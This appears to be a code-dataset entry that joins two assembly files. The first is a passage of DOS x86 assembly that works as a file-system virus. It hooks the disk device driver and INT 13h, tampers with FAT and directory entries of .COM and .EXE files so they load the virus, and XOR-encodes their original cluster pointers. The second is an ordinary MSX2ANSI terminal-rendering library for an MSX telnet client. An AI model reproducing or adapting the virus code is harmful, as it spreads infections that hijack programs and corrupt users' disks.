fdsk2: cmp [si],6c7h
jne fdsk3
cmp [si+2],4ch
jne fdsk3
push dx
push [si+4]
jmp short death
install: int 20h
file: db "c:",255,0
fdsk3: inc si
cmp si,ax
jb fdsk2
fdsk4: inc dx
cmp dh,0f0h
jb fdsk1
sub sp,4
death: push cs
pop ds
mov bx,[2ch]
mov es,bx
mov ah,49h
call jump
xor ax,ax
test bx,bx
jz boot
mov di,1
seek: dec di
scasw
jne seek
lea si,[di+2]
jmp short exec
boot: mov es,[16h]
mov bx,es:[16h]
dec bx
xor si,si
exec: push bx
mov bx,offset param
mov [bx+4],cs
mov [bx+8],cs
mov [bx+12],cs
pop ds
push cs
pop es
mov di,offset f_name
push di
mov cx,40
rep movsw
push cs
pop ds
mov ah,3dh
mov dx,offset file
call jump
pop dx
mov ax,4b00h
call jump
mov ah,4dh
call jump
mov ah,4ch
jump: pushf
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3
jmp dword ptr cs:[i13org]
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es
pop ds
mov al,[bx+2]
cmp al,4 ; Input
je input
cmp al,8
je output
cmp al,9
je output
call in
cmp al,2 ; Build BPB
jne ppp ;
lds si,[bx+12h]
mov di,offset bpb_buf
mov es:[bx+12h],di
mov es:[bx+14h],cs
push es
push cs
pop es
mov cx,16
rep movsw
pop es
push cs
pop ds
mov al,[di+2-32]
cmp al,2
adc al,0
cbw
cmp [di+8-32],0
je m32
sub [di+8-32],ax
jmp short ppp
m32: sub [di+15h-32],ax
sbb [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf
output: mov cx,0ff09h
call check
jz inf_sec
call in
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16
jmp short ppp
input: call check
jz read
inf_dsk: mov byte ptr [bx+2],4
cld
lea si,[bx+0eh]
mov cx,8
save: lodsw
push ax
loop save
mov [bx+14h],1
call driver
jnz read_
mov byte ptr [bx+2],2
call in
lds si,[bx+12h]
mov ax,[si+6]
add ax,15
mov cl,4
shr ax,cl
mov di,[si+0bh]
add di,di
stc
adc di,ax
push di
cwd
mov ax,[si+8]
test ax,ax
jnz more
mov ax,[si+15h]
mov dx,[si+17h]
more: xor cx,cx
sub ax,di
sbb dx,cx
mov cl,[si+2]
div cx
cmp cl,2
sbb ax,-1
push ax
call convert
mov byte ptr es:[bx+2],4
mov es:[bx+14h],ax
call driver
again: lds si,es:[bx+0eh]
add si,dx
sub dh,cl
adc dx,ax
mov cs:gad+1,dx
cmp cl,1
je small
mov ax,[si]
and ax,di
cmp ax,0fff7h
je bad
cmp ax,0ff7h
je bad
cmp ax,0ff70h
jne ok
bad: pop ax
dec ax
push ax
call convert
jmp short again
small: not di
and [si],di
pop ax
push ax
inc ax
push ax
mov dx,0fh
test di,dx
jz here
inc dx
mul dx
here: or [si],ax
pop ax
call convert
mov si,es:[bx+0eh]
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di
dec dx
and dx,di
not di
and [si],di
or [si],dx
cmp ax,dx
pop ax
pop di
mov cs:pointer+1,ax
je _read_
mov dx,[si]
push ds
push si
call write
pop si
pop ds
jnz _read_
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx
add ax,di
adc dx,0
push es
pop ds
mov [bx+12h],2
mov [bx+14h],ax
test dx,dx
jz less
mov [bx+14h],-1
mov [bx+1ah],ax
mov [bx+1ch],dx
less: mov [bx+10h],cs
mov [bx+0eh],100h
call write
_read_: std
lea di,[bx+1ch]
mov cx,8
load: pop ax
stosw
loop load
_read: call in
mov cx,9
_inf_sec:
mov di,es:[bx+12h]
lds si,es:[bx+0eh]
sal di,cl
xor cl,cl
add di,si
xor dl,dl
push ds
push si
call find
jcxz no_inf
call write
and es:[bx+4],byte ptr 07fh
no_inf: pop si
pop ds
inc dx
call find
jmp ppp
;--------Subroutines
find: mov ax,[si+8]
cmp ax,"XE"
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB
jnz go_on
test [si+1dh],03ff8h ; <2048B
jz go_on
test [si+0bh],byte ptr 1ch
jnz go_on
test dl,dl
jnz rest
pointer: mov ax,1234h
cmp ax,[si+1ah]
je go_on
xchg ax,[si+1ah]
gad: xor ax,1234h
mov [si+14h],ax
loop go_on
rest: xor ax,ax
xchg ax,[si+14h]
xor ax,cs:gad+1
mov [si+1ah],ax
go_on: ;rol cs:gad+1,1
db 2eh,0d1h,6
dw offset gad+1
add si,32
cmp di,si
jne find
ret
check: mov ah,[bx+1]
drive: cmp ah,-1
mov cs:[drive+2],ah
jne changed
push [bx+0eh]
mov byte ptr [bx+2],1
call in
cmp byte ptr [bx+0eh],1
pop [bx+0eh]
mov [bx+2],al
changed: ret
write: cmp byte ptr es:[bx+2],8
jae in
mov byte ptr es:[bx+2],4
mov si,70h
mov ds,si
modify: mov si,1234h
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in
pop [si+2]
pop [si]
ret
driver: mov es:[bx+12h],1
in:
db 09ah
str_block:
dw ?,70h
db 09ah
int_block:
dw ?,70h
test es:[bx+4],byte ptr 80h
ret
convert: cmp ax,0ff0h
jae fat_16
mov si,3
xor cs:[si+gad-1],si
mul si
shr ax,1
mov di,0fffh
jnc cont
mov di,0fff0h
jmp short cont
fat_16: mov si,2
mul si
mov di,0ffffh
cont: mov si,512
div si
header: inc ax
ret
counter: dw 0
dw 842h
dw offset main
dw offset rts
db 7fh
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
MsDos |
apps/telnet/msx2ansibuffer.asm | vipoo/msxrc2014 | 1 | 162790 | <filename>apps/telnet/msx2ansibuffer.asm
; MSX2ANSI ANSI V9938 Library v_1_6
;
; Original Code by <NAME> (ANSI-DRV_BIN)
; Tobias has made this great piece of code and most of what is in it has been
; coded by him
;
; This version of code and conversion into SDCC library by <NAME>
; <EMAIL>
;
; Thanks to Piter Punk for his contribution on making this library also a great
; library to use for a remote terminal, he has fixed a few already implemented
; escape code behavior as well as adding several escape codes that are important
; for nCurses applications
;
; Comercial usage of this code or derivative works of this code are
; allowed ONLY upon agreement with the author.
; Non-comercial usage is free as long as you publish your code changes and give
; credits to the original authors
;
; Changelog:
;
; v1_6_Buffering:
; OPJ - Added buffering of up to 10 characters before executing HMMC, if using
; AnsiPrint or AnsiStartBuffer it should be quite faster or in average a bit
; faster depending on buffer contents. It is also a tad slower if print char
; by char without using AnsiStartBuffer. The end result is that generally, for
; a z80 @3_58MHz it is not as fast as the unbuffered and optimized version of
; the lib, thus that version is the official one. On a faster CPU it is quite
; promissing the extra performance we get, so who knows?
; Piter Punk - Made a draft of Ansi Delete Lines and YMMM function, not working
; on some scroll situations
; OPJ - Reworked YMMM function to start faster not having to calculate on the
; fly, doing all calculations before sending can save some time if VDP still is
; processing a command
; OPJ - Reworked CopyBlock as CopyBlockDown and made it work calculating before
; calling YMMM
; OPJ - Reworked Delete Lines, it was not taking into consideration when you
; are at the last line or if deleted lines exceed line capability
; OPJ - Created Insert Lines and CopyBlockUp
;
;
; v1_5:
; Piter Punk - Added scrolling support (ESC[S and ESC[T)
; Piter Punk - Added Support to ESC[X (ANSI ECH) and SGR 8 (Concealed),
; SGR 39 (Default Foreground Color), SGR 49 (Default Background Color)
; Piter Punk - Added Support to ESC[d (ANSI VPA), ESC[e (ANSI VPR), ESC[G
; (ANSI CHA), ESC[I (ANSI CHT) and ESC[Z (ANSI CBT)
; Piter Punk - Added Support to ESC[nb, ANSI REP, which repeats the last char
; Piter Punk - Rewrite HorizontalTab routine to move cursor to a tabstop
; Piter Punk - Added back HorizontalTab (0x09) handling
; Piter Punk - Added save and restore cursor VT100 control codes
; OPJ - Fixed the issue with ESC[J, DO_HMMV was clearing memory that was not
; from its video page depending on the current line offset
; OPJ - Added the possibility of disabling cursor while putting text with
; AnsiPutChar through AnsiStartBuffer and AnsiEndBuffer, this might generate
; a more pleasant screen rendering without the cursor moving and also speed up
; certain operations like screen clearing and line deletions
; OPJ - Improved ESC[X to use VDP HMMV to delete as it is faster
; OPJ - Fixed Scroll Down, it was pushing the last line down and still visible
; OPJ - Fixed Scroll Up and Down and LineFeed, the line being excluded might be
; pushed into visible are, better have it in the border color than background
; color, as border color only changes when screen is cleared, using the
; same color as the background
; OPJ - Fixed quite a few characters below 0x20, those should be as faithful as
; 6x8 and my bad pixel art talent allows :D
; OPJ - Form Feed (12 or 0x0C) should clear screen and go to home, fixed that
; OPJ - Not all DO_HMMV commands were setting the desired color, causing that
; sometimes the color would be wrong after ANSI delete Commands
; OPJ - Added ESC[#@ (Insert Chars)
;
; v1_4:
; OPJ - Control code BELL (7) now beeps
;
; v1_3:
; OPJ - Character code 16 was in code 18, fixed that
; Piter Punk - Fixed bad behavior of CSIm (no parameters) as well as a crash
; Piter Punk - Add support for reverse video mode
;
; v1_2:
; Added ESCx5 (turn off cursor) support
; Added ESCy5 (turn on cursor) support
; If a character is below 0x20 and not a screen control code, print it
; Fix characters code 16, 17, 24, 25, 26, 27, 30 and 31
; Probably not all characters below 0x20 (32) are correct...
;
; v1_1:
; Added ESC[J behavior when no parameter / 0 was choosen (delete from cursor on)
; Added ESC[1J (delete from cursor up to top of screen) and fixed ESC[2J support
; Fixed behavior when no parameters were given (it was not always correct)
; Added ESC[nP support for Linux telnet daemons
SECTION CODE
;
; C Functions area
;
; In this section, we handle the calls from C code
;
; AnsiInit needs no parameters
;
; Will set the proper screen mode, clear screen, set cursor stuff
;
; You MUST call it, otherwise results might be unpredictable and crash
;
; void AnsiInit()
PUBLIC _AnsiInit
_AnsiInit:
PUSH IX ; Interslot call might mess with IX and C expect it to be intact
CALL V9938_Init ; Initialize screen mode, etc
CALL V9938_InitCursor ; Initialize cursor and return
CALL V9938_ClearScreen ; Clear screen
POP IX ; Restore IX so C won't have issues
RET
; AnsiFinish needs no parameters
;
; Will restore MSX to Screen 0 and restore original palette
;
; You MUST call it before returning to MSX-DOS, otherwise user will face a
; static screen and think it has crashed (you can type MODE 80 and restore it
; manually). So MAKE SURE to handle CTRL+BREAK, CTRL+C, etc and call this function
; before returning.
;
; void AnsiFinish()
PUBLIC _AnsiFinish
_AnsiFinish:
PUSH IX ; Interslot call might mess with IX and C expect it to be intact
CALL V9938_Finish ; Restore
POP IX ; Restore IX so C won't have issues
RET
; AnsiStartBuffer needs no parameters
;
; Will turn off sprite cursor if it is on, idea is to make rendering faster and
; there is no need to have the cursor enabled while rendering a live buffer. For
; some applications it is faster to use putchar than print, thus the need to indicate
; start and end of buffer printing
;
; void AnsiStartBuffer()
PUBLIC _AnsiStartBuffer
_AnsiStartBuffer:
StartBuffer:
LD A,1
LD (Buffering),A ; And we are buffering
LD A,(CursorOn)
OR A
RET Z ; If cursor is not on, done
CALL DisCursorSub ; Otherwise just disable it
RET
; AnsiEndBuffer needs no parameters
;
; Will turn sprite cursor back on if it was on, idea is to make rendering faster and
; there is no need to have the cursor enabled while rendering a live buffer. For
; some applications it is faster to use putchar than print, thus the need to indicate
; start and end of buffer printing
;
; void AnsiEndBuffer()
PUBLIC _AnsiEndBuffer
_AnsiEndBuffer:
EndBuffer:
LD A,(HMMC_BUF_COUNT)
OR A ; Buffer has data?
CALL NZ,DO_HMMC_FLUSH ; Flush it
LD A,0 ; XOR is faster, but messes with flags
LD (Buffering),A ; No longer buffering
CALL V9938_SetCursorX
CALL V9938_SetCursorY ; Set cursor position
LD A,(CursorOn)
OR A ; Test if cursor is on
RET Z ; If cursor is off, done
CALL EnCursorSub ; And enable it again
RET
; AnsiCallBack - Will call a __z88dk_fastcall function with Column/Line as a parameter
;
; This is useful to handle quickly ESC[6n cursor position requests, as it is up to
; the user program to determine how to send that information.
;
; void AnsiCallBack(unsigned int uiCallBackAddress) __z88dk_fastcall
PUBLIC _AnsiCallBack
_AnsiCallBack:
LD (ANSI_CGP_CALL_VEC + 1),HL ; Load the callback function address
LD A,0x01
LD (ANSI_CB),A ; Flag that have a callback function
RET
; AnsiGetCursorPosition - Add possibility to get current cursor position
; unsigned int AnsiGetCursorPosition( )
; LSB will be current Column
; MSB will be current Row
PUBLIC _AnsiGetCursorPosition
_AnsiGetCursorPosition:
LD A,(CursorCol) ; Get Current Cursor Column Position
INC A ; Increment it (internally it is 0-79)
LD L,A ; Place column in L
LD A,(CursorRow) ; Get Current Cursor Row (line) Position
INC A ; Increment it (internally it is 0-24)
LD H,A ; Place row in H
RET
; AnsiPutChar - will put the char in register L on screen or buffer if part of
; ANSI / VT sequence
;
; void AnsiPutChar(unsigned char ucChar) __z88dk_fastcall
PUBLIC _AnsiPutChar
_AnsiPutChar:
LD A,L ; Parameter is in L
BufferChar:
OR A
RET Z ; If 0, no need to print nor ANSI parameter
LD C,A ; Save char in C
LD A,(ANSI_M)
OR A
JR NZ,BufferChar_CNT ; Esc processing going on
LD A,C
CP 27 ; Is character ESC?
JR Z,BufferChar_ESC ; Yes, so treat ESC buffer
; It is a printable character or control code, deal with it directly here
CP 0x20
JR C,BufferChar_CCode ; If less than 0x20 (space), a control character
BufferChar_NotCCode:
LD (LastChar),A
CALL V9938_PrintChar ; Call the print routine for our chip
LD A,(CursorCol) ; Get Current Cursor Position
INC A ; Increment it
LD (CursorCol),A ; Save
CP 80 ; Time to line feed?
JP NC,LFeedSub ; If 80 or greater feed the line, and line feed will return to printtext loop
; Otherwise
JP V9938_SetCursorX ; Set cursor on screen, it will return from there as it is done after this
BufferChar_CCode:
; Check if it is a control character and do the action, otherwise print it
CP 13
JP Z,CarriageReturnSub
CP 10
JP Z,LFeedSub
CP 8
JP Z,BackSpaceSub
CP 12 ; FF, clear screen and home
JP Z,ANSI_ED_ED2Sub
CP 9
JP Z,HTabSub
CP 7
JP Z,BellSub
JP BufferChar_NotCCode
; It is ESC
BufferChar_ESC:
LD (ANSI_M),A ; Indicate ESC is in progress
LD HL,ANSI_S
LD (HL),A ; Save in first buffer position
INC HL ; Next buffer position
LD (ANSI_P),HL ; Save in the pointer
RET ; Done for now
BufferChar_CNT:
LD HL,(ANSI_P) ; Current buffer free position
CP 27 ; was ESC last byte?
JR Z,BufferChar_CH2 ; Yes, check position 2
; No
CP 'x' ; ESC x?
JR Z,BufferChar_X ; Let's check if it is a parameter we know what to do
CP 'y' ; ESC y?
JR Z,BufferChar_Y ; Let's check if it is a parameter we know what to do
LD A,C ; Restore character
LD (HL),A ; Store in buffer
INC HL
LD (ANSI_P),HL ; new buffer position
CP 48
JR C,BufferChar_END ; Character is less than '0', not a parameter I understand, so print on the screen
; No, '0' or greater
CP 60
JR NC,BufferChar_END ; If A > ';' not a parameter I understand, so print on the screen
;Otherwise it is between 0 and ; so ESC command has not finished yet
RET
BufferChar_END:
XOR A
LD (HL),A
LD (ANSI_M),A ; No longer processing
BufferChar_RET:
LD HL,ANSI_S
JP PrintText_RLP ; Ok, print the buffer we did not process
BufferChar_CH2:
LD A,C ; Restore char
LD (HL),A ; Store it
INC HL ; Increment pointer
CP '[' ; Just deal with ESC[ commands, other commands not supported at this moment
JR NZ,BufferChar_XorY ; So if the second character is not [, check if it is x or y
BufferChar_CH2a:
LD (ANSI_M),A ; Ok, now we are gathering parameters for the command
LD (ANSI_P),HL ; Save pointer
RET ; Done
BufferChar_XorY:
CP 'x' ; modify cursor behavior / disable?
JR Z,BufferChar_CH2a ; So if the second character is x, let's move on
CP 'y' ; modify cursor behavior / enable?
JR Z,BufferChar_CH2a ; So if the second character is not y won't jump
; print the ESC sequence and life goes on
JR NZ,BufferChar_END ; So if the second character is not [, print the ESC sequence and life goes on
BufferChar_X:
LD A,C ; Restore character
CP '5' ; ESC x5?
LD A,0 ; Do not want to clear flag
LD (ANSI_M),A ; No longer processing
JP Z,VT52_DISCURSOR ; yes, disable cursor
JR BufferChar_Y_END ; no, print the contents and end processing
BufferChar_Y:
LD A,C ; Restore character
CP '5' ; ESC x5?
LD A,0 ; Do not want to clear flag
LD (ANSI_M),A ; No longer processing
JP Z,VT52_ENCURSOR ; yes, enaable cursor
BufferChar_Y_END:
LD (HL),A ; Store in buffer
INC HL
LD (ANSI_P),HL ; new buffer position
JR BufferChar_END ; not a parameter I understand, so print on the screen
; AnsiPrint - will proccess and print the string whose address is in HL (zero terminated)
; void __z88dk_fastcall AnsiPrint(unsigned char * ucString)
PUBLIC _AnsiPrint
_AnsiPrint:
CALL StartBuffer ; Disable sprite to render faster, if needed
BufferText:
LD A,(HL) ; Load the character
INC HL ; Increment pointer
OR A ; 0?
JP Z,EndBuffer ; Yes, end of string, endbuffer will return for us
PUSH HL ; Save pointer
CALL BufferChar ; Process or print it
POP HL ; Restore pointer
JP BufferText ; Continue
; PrintText - Will handle text in address pointed by HL, zero terminated
PrintText:
PrintText_RLP:
LD A,(HL) ; Load the character
INC HL ; Increment the pointer
CP 0x20
JR C,PrintText_RLP_CC ; If less than 0x20 (space), a control character
PrintText_RLP_NOCC:
LD (LastChar),A
PUSH HL ; Save Pointer
CALL V9938_PrintChar ; Call the print routine for our chip
POP HL ; Restore Pointer
LD A,(CursorCol) ; Get Current Cursor Position
INC A ; Increment it
LD (CursorCol),A ; Save
CP 80 ; Time to line feed?
JP NC,LineFeed ; If 80 or greater feed the line, and line feed will return to printtext loop
; Otherwise
CALL V9938_SetCursorX ; Set cursor on screen
JP PrintText_RLP ; If up to position 80, done
PrintText_RLP_CC:
; Check if it is a control character and do the action, otherwise print it
OR A
RET Z ; If 0, done
CP 13
JP Z,CarriageReturn
CP 10
JP Z,LineFeed
CP 8
JP Z,BackSpace
CP 12 ; FF, clear screen and home
JP Z,ANSI_ED_ED2
CP 27
JP Z,EscapeCode ; If an Escape code, let's check it
CP 9
JP Z,HorizontalTab
CP 7
JP Z,Bell
JP PrintText_RLP_NOCC
; Internal Functions area
;
; In this section, functions for the rendering engine use
;
Bell:
CALL BellSub
JP PrintText_RLP
BellSub:
PUSH HL
PUSH AF
PUSH BC
PUSH DE
PUSH IY
PUSH IX
LD IX,0x017D
CALL CALSUB ; Interslot call to beep
POP IX
POP IY
POP DE
POP BC
POP AF
POP HL
RET
EscapeCode:
LD A,(HL)
INC HL
CP '['
JP Z,Parameters
CP 'A'
JP Z,VT52_UP
CP 'B'
JP Z,VT52_DW
CP 'C'
JP Z,VT52_RI
CP 'D'
JP Z,VT52_LE
CP 'H'
JP Z,VT52_HOME
CP '7'
JP Z,VT100_SCP
CP '8'
JP Z,VT100_RCP
JP PrintText_RLP
Parameters:
LD (OrgAddress),HL
LD DE,Parameters_PRM
LD (Parameters_PPT),DE
XOR A
LD (Parameters_PCT),A
Parameters_RLP:
LD DE,Parameters_PST ; PARAMETER STRING
LD C,0
Parameters_SCN:
LD A,(HL)
INC HL
CP ';'
JR Z,Parameters_END
CP '0'
JR C,Parameters_END
CP ':'
JR NC,Parameters_END
INC C
LD (DE),A
INC DE
JR Parameters_SCN
Parameters_END:
LD (Parameters_TRM),A ; SAVE TERMINATING CHAR
LD A,C
OR A
JR Z,Parameters_SETOMT
CP 1
JR Z,Parameters_RD1 ; READ ONE DIGIT
CP 2
JR Z,Parameters_RD2 ; READ TWO DIGITS
CP 3
JR Z,Parameters_RD3 ; READ THREE DIGITS
Parameters_ERR:
XOR A
JP PrintText_RLP
Parameters_RD1:
LD A,(Parameters_PST)
SUB 48
JR Parameters_SET
Parameters_RD2:
LD A,(Parameters_PST)
SUB 48
ADD A,A
LD C,A
ADD A,A
ADD A,A
ADD A,C
LD C,A
LD A,(Parameters_PST+1)
SUB 48
ADD A,C
JR Parameters_SET
Parameters_RD3:
LD A,(Parameters_PST)
SUB 48
ADD A,A
LD C,A
ADD A,A
ADD A,A
ADD A,C
LD C,A
LD A,(Parameters_PST+1)
SUB 48
ADD A,C
ADD A,A
LD C,A
ADD A,A
ADD A,A
ADD A,C
LD C,A
LD A,(Parameters_PST+2)
SUB 48
ADD A,C
Parameters_SET:
LD DE,(Parameters_PPT) ; PARAMETER POINTER
LD (DE),A
INC DE
LD (Parameters_PPT),DE
LD A,(Parameters_PCT) ; PARAMETER COUNT
INC A
Parameters_SETOMT:
LD B,A
LD (Parameters_PCT),A
LD A,(Parameters_TRM) ; TERMINATING CHARACTER
CP ';'
JP Z,Parameters_RLP
CP 20
JP C,Parameters_ERR
LD (EndAddress),HL
CP 'H'
JP Z,ANSI_CUP
CP 'f'
JP Z,ANSI_CUP
CP 'R'
JP Z,ANSI_CUP
CP 'A'
JP Z,ANSI_CUU
CP 'B'
JP Z,ANSI_CUD
CP 'C'
JP Z,ANSI_CUF
CP 'D'
JP Z,ANSI_CUB
CP 's'
JP Z,ANSI_SCP
CP 'u'
JP Z,ANSI_RCP
CP 'J'
JP Z,ANSI_ED
CP 'K'
JP Z,ANSI_EL
CP 'L'
JP Z,ANSI_IL
CP 'M'
JP Z,ANSI_DL
CP 'm'
JP Z,ANSI_SGR
CP 'n'
JP Z,ANSI_CGP
CP 'P'
JP Z,ANSI_DCH
CP 'b'
JP Z,ANSI_REP
CP 'd'
JP Z,ANSI_VPA
CP 'e'
JP Z,ANSI_CUD
CP 'G'
JP Z,ANSI_CHA
CP 'I'
JP Z,ANSI_CHT
CP 'Z'
JP Z,ANSI_CBT
CP 'X'
JP Z,ANSI_ECH
CP 'S'
JP Z,ANSI_SU
CP 'T'
JP Z,ANSI_SD
CP '@'
JP Z,ANSI_ICH
JP Parameters_ERR
; OPJ - Add possibility to current cursor position be sent to a callback function
ANSI_CGP: ; ANSI Cursor Get Position
LD A,B
CP 1
JR NZ,ANSI_CGP_END ; Not only 1 parameter, not 6n, done
LD A,(Parameters_PRM)
CP 6 ; Is it 6?
JR NZ,ANSI_CGP_END ; Not 6, so it is not 6N
; Ok, ESC[6n, do we have a callback to report cursor position?
LD A,(ANSI_CB) ; Is there a callback programmed?
OR A
JR Z,ANSI_CGP_END ; Nope, sorry, nothing to do
; So, lets report the position
LD A,(CursorCol)
INC A
LD L,A ; Column goes in L
LD A,(CursorRow)
INC A
LD H,A ; Row goes in H
ANSI_CGP_CALL_VEC:
CALL 0 ; This address will change when someone wants to receive callbacks
ANSI_CGP_END:
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_CUP: ; ANSI Cursor Position
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
OR A
JR Z,ANSI_CUP_HOM
DEC A
JR Z,ANSI_CUP_ROW
LD A,(Parameters_PRM+1)
DEC A
LD (CursorCol),A
ANSI_CUP_ROW:
LD A,(Parameters_PRM+0)
ANSI_CUP_ROW1:
DEC A
LD (CursorRow),A
JR ANSI_CUP_RET
ANSI_CUP_HOM:
XOR A
LD (CursorRow),A
LD (CursorCol),A
ANSI_CUP_RET:
CALL V9938_SetCursorX
CALL V9938_SetCursorY
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_CUU: ; ANSI Cursor Up
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1
OR A
JR Z,ANSI_CUU_SET
ANSI_CUU_GTC:
LD A,(Parameters_PRM+0)
LD B,A
ANSI_CUU_SET:
LD A,(CursorRow)
SUB A,B
JR NC,ANSI_CUU_SCP
XOR A
ANSI_CUU_SCP:
LD (CursorRow),A
CALL V9938_SetCursorY
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_VPA: ; ANSI Vertical Position Absolute
LD A,255
LD (CursorRow),A
ANSI_CUD: ; ANSI Cursor Down
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1
OR A
JR Z,ANSI_CUD_SET
ANSI_CUD_GTC:
LD A,(Parameters_PRM+0)
;OPJ - Fix for 255 so cursor row won't overlap and have a low value when it should be > 24
CP 26
JR C,ANSI_CUD_SAV
LD A,25
ANSI_CUD_SAV:
LD B,A
ANSI_CUD_SET:
LD A,(CursorRow)
ADD A,B
; OPJ changes to allow 25 lines
CP 25
JR C,ANSI_CUD_SCP
LD A,24
ANSI_CUD_SCP:
LD (CursorRow),A
CALL V9938_SetCursorY
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_CHA: ; ANSI Cursor Horizontal Absolute
LD A,255
LD (CursorCol),A
ANSI_CUF: ; ANSI Cursor Forward
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1
OR A
JR Z,ANSI_CUF_SET
ANSI_CUF_GTC:
LD A,(Parameters_PRM+0)
;OPJ - Fix for 255 so cursor column won't overlap and have a low value when it should be > 24
CP 81
JR C,ANSI_CUF_SAV
LD A,80
ANSI_CUF_SAV:
LD B,A
ANSI_CUF_SET:
LD A,(CursorCol)
ADD A,B
CP 80
JR C,ANSI_CUF_SCP
LD A,79
ANSI_CUF_SCP:
LD (CursorCol),A
CALL V9938_SetCursorX
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_CUB: ; ANSI Cursor Back
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1
OR A
JR Z,ANSI_CUB_SET
ANSI_CUB_GTC:
LD A,(Parameters_PRM+0)
LD B,A
ANSI_CUB_SET:
LD A,(CursorCol)
SUB A,B
JR NC,ANSI_CUB_SCP
XOR A
ANSI_CUB_SCP:
LD (CursorCol),A
CALL V9938_SetCursorX
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_SCP: ; ANSI Save Cursor Position
LD A,(CursorCol)
LD (SavedCol),A
LD A,(CursorRow)
LD (SavedRow),A
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_RCP: ; ANSI Restore Cursor Position
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(SavedCol)
LD (CursorCol),A
LD A,(SavedRow)
LD (CursorRow),A
CALL V9938_SetCursorX
CALL V9938_SetCursorY
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_DCH: ; ANSI Delelete Characters
LD A,B
OR A
JR NZ,ANSI_DCH_GP
; Default is delete one char if no number is given
INC A
JP V9938_DelChr
ANSI_DCH_GP:
LD A,(Parameters_PRM+0) ; Load parameter, number of characters to delete
JP V9938_DelChr
ANSI_REP: ; ANSI Repeat Last Character
LD A,B
LD B,1 ; No parameter means repeat once
OR A
JR Z,ANSI_REP_RLP
LD A,(Parameters_PRM)
LD B,A ; Load the number of repeats
ANSI_REP_RLP:
LD A,(LastChar)
PUSH BC
PUSH HL
CALL V9938_PrintChar ; Call the print routine for our chip
LD A,(CursorCol) ; Get Current Cursor Position
INC A ; Increment it
LD (CursorCol),A ; Save
PUSH AF
CALL V9938_SetCursorX ; Set cursor on screen
POP AF
CP 80
JR C,ANSI_REP_ELP ; If up to position 80, done
XOR A
LD (CursorCol),A ; Otherwise cursor is back to position 0
CALL LFeedSub ; And feed the line
ANSI_REP_ELP:
POP HL
POP BC
DJNZ ANSI_REP_RLP ; It's the end? No? Repeat!
JP PrintText_RLP
ANSI_ED: ; ANSI Erase in display
LD A,(HMMC_BUF_COUNT) ; Could change content buffered, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
OR A
JR Z,ANSI_ED_ED0 ; Default is delete from current position on
LD A,(Parameters_PRM+0)
CP 0
JR Z,ANSI_ED_ED0
CP 1
JR Z,ANSI_ED_ED1
CP 2
JR Z,ANSI_ED_ED2
ANSI_ED_ED0:
JP V9938_ErDis0
ANSI_ED_ED1:
JP V9938_ErDis1
ANSI_ED_ED2:
CALL ANSI_ED_ED2Sub
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_ED_ED2Sub:
CALL V9938_ClearScreen
; Usually should end-up here, but MS-DOS ANSI_SYS legacy place cursor on top left after ED
; Norm is cursor should be where it was, but, no one follows it, thanks to MS :D
XOR A
LD (CursorRow),A
LD (CursorCol),A
CALL V9938_SetCursorX
CALL V9938_SetCursorY
RET
ANSI_EL: ; ANSI Erase in Line
LD A,B
OR A
JP Z,V9938_ErLin0
LD A,(Parameters_PRM+0)
CP 1
JP Z,V9938_ErLin1
CP 2
JP Z,V9938_ErLin2
JP V9938_ErLin0
ANSI_IL:
LD A,(HMMC_BUF_COUNT) ; Will change cursor position, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1 ; No number is one Row
OR A
JR Z,ANSI_IL_RUN
LD A,(Parameters_PRM) ; Read how many Rows
LD B,A
ANSI_IL_RUN:
LD A,(CursorRow)
LD C,A ; Copy Origin C (CursorRow)
ADD A,B
CP 25
JR C,ANSI_IL_CONTINUE ; If less than 25, mean we need to move data before inserting lines
; If number of lines to move reach the end of screen or more, set cursor to first column and Erase Display 0, then return cursor, it is faster
LD A,(CursorCol)
PUSH AF ; Save current Cursor Column
XOR A
LD (CursorCol),A ; For now in first column
CALL V9938_ErDis0Sub ; Make ED0
POP AF ; Restore column
LD (CursorCol),A ; Back to the right column
JP ANSI_IL_END ; And done
ANSI_IL_CONTINUE:
; Ok, so we will need to move, delete and clear
PUSH BC ; Save B (how many rows)
LD B,A ; Copy Destination B
LD A,25 ; (CursorRow + Rows)
SUB B ; RowsToCopy in A
; (25 - Destination Row)
CALL V9938_CopyBlockYUp
POP BC ; Load How many Rows
